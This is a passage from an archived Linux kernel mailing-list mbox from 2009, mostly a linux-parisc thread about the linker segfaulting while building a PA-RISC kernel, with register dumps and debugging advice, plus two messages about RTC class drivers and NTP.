	id S1755555AbZB0Pkv convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 10:40:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755561AbZB0Pkv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 10:40:51 -0500
Original-Received: from nf-out-0910.google.com ([64.233.182.188]:36836 "EHLO
	nf-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755555AbZB0Pku convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 10:40:50 -0500
Original-Received: by nf-out-0910.google.com with SMTP id d21so328760nfb.21
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 07:40:46 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=f+dYcHeyzaii7qr60Pd8+quG9G31av9W0G1QM95Sfb4=;
        b=flmuvik6J/bpu3UloIbqtFMgJdmSntaOxroCSQtTlDr2Wa+JthKXj6Y4LHTno6di0b
         Mt902n3BhwY/FuBHVebWEZpQRPtukz30IRIGdN0QPLgGP5H/SzeJcVCOHTSkfosoOg5B
         ql47y51yTjYaDC4COoizeXR/3o/dcsZm0OhaU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=H204IKdxBVoqbJGUt/Df/UjhdaEBbXuUeNneUEnsGstbwU65O8ly7KOkjRqI8n92Bg
         vP6Cl+xSzcXrjl4OvvlrN2IaCyLCGTL0OpeK5fmTLqaHOSQnvYP1alhQEASOgY1xIFHr
         0nXhwZTkm3iCgXPH7i5Qc1B+MBz9Cjnq/cOq8=
Original-Received: by 10.210.33.3 with SMTP id g3mr548046ebg.13.1235749246798; Fri, 27 
	Feb 2009 07:40:46 -0800 (PST)
In-Reply-To: <119aab440902270518t2cc34c13x4991fb394d54f774@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1326>

2009/2/27 Carlos O'Donell <carlos@systemhalted.org>:
> On Fri, Feb 27, 2009 at 8:04 AM, Alexander Beregalov
> <a.beregalov@gmail.com> wrote:
>> 2009/2/27 Carlos O'Donell <carlos@systemhalted.org>:
>>> On Fri, Feb 27, 2009 at 5:47 AM, Alexander Beregalov
>>> <a.beregalov@gmail.com> wrote:
>>>> I am building the kernel for parisc for the first time.
>>>> Have I missed anything important?
>>>
>>> Where did you get your kernel source? e.g. I cloned foo, merged bar
>>> into, foo and then compiled.
>>
>> I cloned current Linus's git tree.
>
> I always merge from Kyle's tree (parisc maintainer), which has the
> latest parisc patches. There are at least 26 patches in kyle's tree
> which are not on Linus' git tree.
>
> e.g.
> git remote -v
> kyle =C2=A0 =C2=A0git://git.kernel.org/pub/scm/linux/kernel/git/kyle/=
parisc-2.6.git
> origin =C2=A0git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/l=
inux-2.6.git

Thanks.

The same problem: ld segfaults:

do_page_fault() pid=3D15739 command=3D'ld' type=3D15 address=3D0x00000c=
84

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  0006ff0f ffffffff 407d542b fb6b2640
r04-07  408e3f6c fb6afa37 fb6afa48 00000c84
r08-11  fb6b2aa3 00000000 fb6b0520 00000000
r12-15  00000025 fb6afa0c 00068958 00000042
r16-19  4048e518 00000010 fb6af9cc 408e3f6c
r20-23  80808000 80808080 fefefeff 81010100
r24-27  fb6b25d0 fb6afa47 00000c84 000675c0
r28-31  feff0000 00000073 fb6b2c00 00000c84
sr00-03  00002e25 00000000 00000000 00002e25
sr04-07  00002e25 00002e25 00002e25 00002e25

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
=46PSR: 00000000000000000000000000000000
=46PER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 00000000000=
00000
fr04-07  00000020ef80068c eec228401016a6e0 1051b81000000000 00000000000=
00000
fr08-11  ffffff9cefc16000 efc11bc000000003 00000000eec22840 00000000fff=
ff000
fr12-15  fb6afa349c4df9fe fb6afa0c10128010 fb6af9d4ac2f99e4 10ba6aa8eaf=
8382a
fr16-19  0004010f10574010 10128010efc241c8 1043a1540000000b 10574267000=
0000f
fr20-23  106002f800000000 0004000e1016aa9c fb6afa4700008000 fb6afa0c000=
00af8
fr24-27  0000000000000000 0000000000000000 00000000812df5e4 896cf5835c4=
6e68e
fr28-31  1aab4042650e89ca eb5bc7cd1016aa38 1aab404200000000 efc24240008=
00480

IASQ: 00002e25 00002e25 IAOQ: 4080f407 4080f40b
 IIR: 0f401094    ISR: 00002e25  IOR: 00000c84
 CPU:        0   CR30: c410c000 CR31: 0185e003
 ORIG_R28: 00000000
 IAOQ[0]: 0x4080f404
 IAOQ[1]: 0x4080f408
 RP(r2): 0x407d5428

The kernel is 2.6.24-gentoo-r3-livecd32 and I do not have System.map fo=
r it.
It seems I need to use another LiveCD for building kernel (in chroot
environment)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 10:56:13 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <119aab440902270756w4cceb56bq4c247d70e3e34786@mail.gmail.com>
References: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
	 <119aab440902270424oaafbc7ehcc23b433e8ae06e5@mail.gmail.com>
	 <a4423d670902270504w6386cffdp91249e962dfa3fa4@mail.gmail.com>
	 <119aab440902270518t2cc34c13x4991fb394d54f774@mail.gmail.com>
	 <a4423d670902270740y2c376722j2c2b444401bdc271@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235750193 13846 80.91.229.12 (27 Feb 2009 15:56:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 15:56:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 16:57:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld55w-0001y0-W8
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 16:57:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755674AbZB0P40 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 10:56:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755844AbZB0P40
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 10:56:26 -0500
Original-Received: from yx-out-2324.google.com ([74.125.44.29]:21145 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755674AbZB0P4Z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 10:56:25 -0500
Original-Received: by yx-out-2324.google.com with SMTP id 8so857704yxm.1
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 07:56:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=YYbrZKtXnwhAsaKEPlr4guGReNal2aglZdn4uVazVjQ=;
        b=vjLFCsA0/RKbf+bM5JR9cAcXHlZZ9dFy7ZCjHxaM1pmKK8d3FDmNP4hFAyVprqNrtQ
         Ul6ypUjwrNq2LGTb76f0JByS890Y4+LCSBvJxvsWEbXg1PoXKtHt9s8NTqBgBMCMOnwY
         0Ex1Czk2NbwNMGXYhe5/OkNCc9CnXBhFKQeuw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=DmPFi+nfnM2lIG55HLzeLdRQGaQ2fPLhE14FmhP+V32wvQutXgjW8p1VrR1AO5Uysn
         dCHe9Bb4RNlA7mONFRa+eofdv/KiGuMYb+Mx6ELIHKX6zHHyWAOYG7pBFwzfGRPeFWgA
         ugt9XXZD+QCLh4/2EcjOUd7axb+8vvTubhVVc=
Original-Received: by 10.229.96.6 with SMTP id f6mr1954550qcn.81.1235750173237; Fri, 27 
	Feb 2009 07:56:13 -0800 (PST)
In-Reply-To: <a4423d670902270740y2c376722j2c2b444401bdc271@mail.gmail.com>
X-Google-Sender-Auth: 2f4c1b776aa84ac5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1327
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1327>

On Fri, Feb 27, 2009 at 10:40 AM, Alexander Beregalov
<a.beregalov@gmail.com> wrote:
> The same problem: ld segfaults:
> do_page_fault() pid=15739 command='ld' type=15 address=0x00000c84

This is likely a bug in the static linker, or a miscompilation of the
static linker by your toolchain.

What were the binutils testsuite results for this static linker?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 11:46:29 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <20090227164630.642474EF8@hiauly1.hia.nrc.ca>
References: <119aab440902270756w4cceb56bq4c247d70e3e34786@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235753206 25037 80.91.229.12 (27 Feb 2009 16:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 16:46:46 +0000 (UTC)
Cc: a.beregalov@gmail.com, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 17:48:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld5sU-0006vC-B4
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 17:47:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757179AbZB0Qqd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 11:46:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758306AbZB0Qqd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 11:46:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1495 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758302AbZB0Qqd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 11:46:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 642474EF8; Fri, 27 Feb 2009 11:46:29 -0500 (EST)
In-Reply-To: <119aab440902270756w4cceb56bq4c247d70e3e34786@mail.gmail.com> from "Carlos O'Donell" at Feb 27, 2009 10:56:13 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1328
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1328>

> On Fri, Feb 27, 2009 at 10:40 AM, Alexander Beregalov
> <a.beregalov@gmail.com> wrote:
> > The same problem: ld segfaults:
> > do_page_fault() pid=15739 command='ld' type=15 address=0x00000c84
> 
> This is likely a bug in the static linker, or a miscompilation of the
> static linker by your toolchain.

If the problem is fully, reproducable, then I agree its likely
a toolchain issue.  However, as indicated multiple times on the list,
we get random segfaults in various programs.  In my experience,
this occurs more frequently with kernels after 2.6.22 but I'm sure
2.6.22 is affected.

I've tried many kernels after 2.6.22 but I haven't found one that
I like.  2.6.28 doesn't crash on PA 8800 (SMP 64-bit), but I get
too many random segfaults doing GCC builds.

The extract/deposit/shift bug that Helge found recently looks 
important as it causes undefined behavior that appears to vary
from processor to processor.  A patch to check for this was recently
applied to GAS.

I was hoping to try Helge's recent changes but I don't think they
are in Kyle's parisc tree.

If the problem is reproducible, try running gdb to get a backtrace
(e.g., gdb -c core /usr/bin/ld).

I am fairly certain the binutils testsuite for ld 2.19.1 is clean.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 11:51:07 -0500 (EST)
Lines: 53
Approved: news@gmane.org
Message-ID: <20090227165107.A7F224EF8@hiauly1.hia.nrc.ca>
References: <a4423d670902270740y2c376722j2c2b444401bdc271@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235753477 25990 80.91.229.12 (27 Feb 2009 16:51:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 16:51:17 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: a.beregalov@gmail.com (Alexander Beregalov)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 17:52:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld5wu-0008H4-NK
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 17:52:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754722AbZB0QvK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 11:51:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755947AbZB0QvK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 11:51:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1527 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754722AbZB0QvJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 11:51:09 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A7F224EF8; Fri, 27 Feb 2009 11:51:07 -0500 (EST)
In-Reply-To: <a4423d670902270740y2c376722j2c2b444401bdc271@mail.gmail.com> from "Alexander Beregalov" at Feb 27, 2009 06:40:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1329>

> The same problem: ld segfaults:
> 
> do_page_fault() pid=15739 command='ld' type=15 address=0x00000c84
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001111 Not tainted
> r00-03  0006ff0f ffffffff 407d542b fb6b2640
> r04-07  408e3f6c fb6afa37 fb6afa48 00000c84
> r08-11  fb6b2aa3 00000000 fb6b0520 00000000
> r12-15  00000025 fb6afa0c 00068958 00000042
> r16-19  4048e518 00000010 fb6af9cc 408e3f6c
> r20-23  80808000 80808080 fefefeff 81010100
> r24-27  fb6b25d0 fb6afa47 00000c84 000675c0
> r28-31  feff0000 00000073 fb6b2c00 00000c84
> sr00-03  00002e25 00000000 00000000 00002e25
> sr04-07  00002e25 00002e25 00002e25 00002e25
> 
>       VZOUICununcqcqcqcqcqcrmunTDVZOUI
> FPSR: 00000000000000000000000000000000
> FPER1: 00000000
> fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> fr04-07  00000020ef80068c eec228401016a6e0 1051b81000000000 0000000000000000
> fr08-11  ffffff9cefc16000 efc11bc000000003 00000000eec22840 00000000fffff000
> fr12-15  fb6afa349c4df9fe fb6afa0c10128010 fb6af9d4ac2f99e4 10ba6aa8eaf8382a
> fr16-19  0004010f10574010 10128010efc241c8 1043a1540000000b 105742670000000f
> fr20-23  106002f800000000 0004000e1016aa9c fb6afa4700008000 fb6afa0c00000af8
> fr24-27  0000000000000000 0000000000000000 00000000812df5e4 896cf5835c46e68e
> fr28-31  1aab4042650e89ca eb5bc7cd1016aa38 1aab404200000000 efc2424000800480
> 
> IASQ: 00002e25 00002e25 IAOQ: 4080f407 4080f40b
>  IIR: 0f401094    ISR: 00002e25  IOR: 00000c84
>  CPU:        0   CR30: c410c000 CR31: 0185e003
>  ORIG_R28: 00000000
>  IAOQ[0]: 0x4080f404
>  IAOQ[1]: 0x4080f408
>  RP(r2): 0x407d5428

The insn is:

dave@hiauly6:~$ disasm 0x0f401094
   0:   0f 40 10 94     ldw 0(r26),r20

The program is probably in libc or the dynamic loader.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Maciej W. Rozycki" <macro@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Fri, 27 Feb 2009 17:17:36 +0000 (GMT)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.LFD.1.10.0902270142360.22096@ftp.linux-mips.org>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <1235511327.18632.73.camel@macbook.infradead.org>
 <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org> <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be> <20090225111836.621412c1@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1235755082 32054 80.91.229.12 (27 Feb 2009 17:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 17:18:02 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Geert.Uytterhoeven@sonycom.com,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 18:19:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld6Mj-0002nr-Vj
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 18:19:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754422AbZB0RRu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 12:17:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754707AbZB0RRu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 12:17:50 -0500
Original-Received: from ftp.linux-mips.org ([213.58.128.207]:43420 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754391AbZB0RRs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 12:17:48 -0500
Original-Received: from localhost.localdomain ([127.0.0.1]:9097 "EHLO
	localhost.localdomain") by ftp.linux-mips.org with ESMTP
	id S20808785AbZB0RRg (ORCPT <rfc822;linux-kernel@vger.kernel.org>
	+ 1 other); Fri, 27 Feb 2009 17:17:36 +0000
In-Reply-To: <20090225111836.621412c1@i1501.lan.towertech.it>
User-Agent: Alpine 1.10 (LFD 962 2008-03-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1330 gmane.linux.kernel:800471 gmane.linux.ports.ppc64.devel:52957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1330>

On Wed, 25 Feb 2009, Alessandro Zummo wrote:

> > I didn't know NTP was broken with RTC class drivers?
> > 
> > So we should actually keep on using genrtc instead of rtc-ppc/rtc-generic for
> > now? ;-)
> 
>  broken here means that the kernel won't save the time to the hardware
>  rtc every 11 minutes as it used to do. normal NTP operations are unaffected.

 I posted patches to support it last year -- from your answer I infer they 
were not applied in the end.  I'll see if I can try to refresh them and 
push again next time I'll be upgrading my kernel.

  Maciej
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Fri, 27 Feb 2009 18:19:02 +0100
Organization: Tower Technologies
Lines: 24
Approved: news@gmane.org
Message-ID: <20090227181902.3a411298@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<alpine.LFD.1.10.0902270142360.22096@ftp.linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235755168 32343 80.91.229.12 (27 Feb 2009 17:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 17:19:28 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Geert.Uytterhoeven@sonycom.com,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: "Maciej W. Rozycki" <macro@linux-mips.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Feb 27 18:20:43 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld6O3-0003wk-Pf
	for glpm-linux-m68k@gmane.org; Fri, 27 Feb 2009 18:20:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754991AbZB0RTM (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 27 Feb 2009 12:19:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754936AbZB0RTM
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Fri, 27 Feb 2009 12:19:12 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:55089 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754707AbZB0RTK (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Fri, 27 Feb 2009 12:19:10 -0500
Original-Received: (qmail 14109 invoked from network); 27 Feb 2009 18:19:03 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 27 Feb 2009 18:19:03 +0100
In-Reply-To: <alpine.LFD.1.10.0902270142360.22096@ftp.linux-mips.org>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:490 gmane.linux.ports.parisc:1331 gmane.linux.kernel:800472 gmane.linux.ports.ppc64.devel:52958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1331>

On Fri, 27 Feb 2009 17:17:36 +0000 (GMT)
"Maciej W. Rozycki" <macro@linux-mips.org> wrote:

>  I posted patches to support it last year -- from your answer I infer they 
> were not applied in the end.  I'll see if I can try to refresh them and 
> push again next time I'll be upgrading my kernel.

 they were almost ok but there are still a few things that I
 need to check before incorporating them. 

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 20:55:28 +0300
Lines: 63
Approved: news@gmane.org
Message-ID: <a4423d670902270955j5562dd4bkce8142e0a89750f9@mail.gmail.com>
References: <119aab440902270756w4cceb56bq4c247d70e3e34786@mail.gmail.com>
	 <20090227164630.642474EF8@hiauly1.hia.nrc.ca>
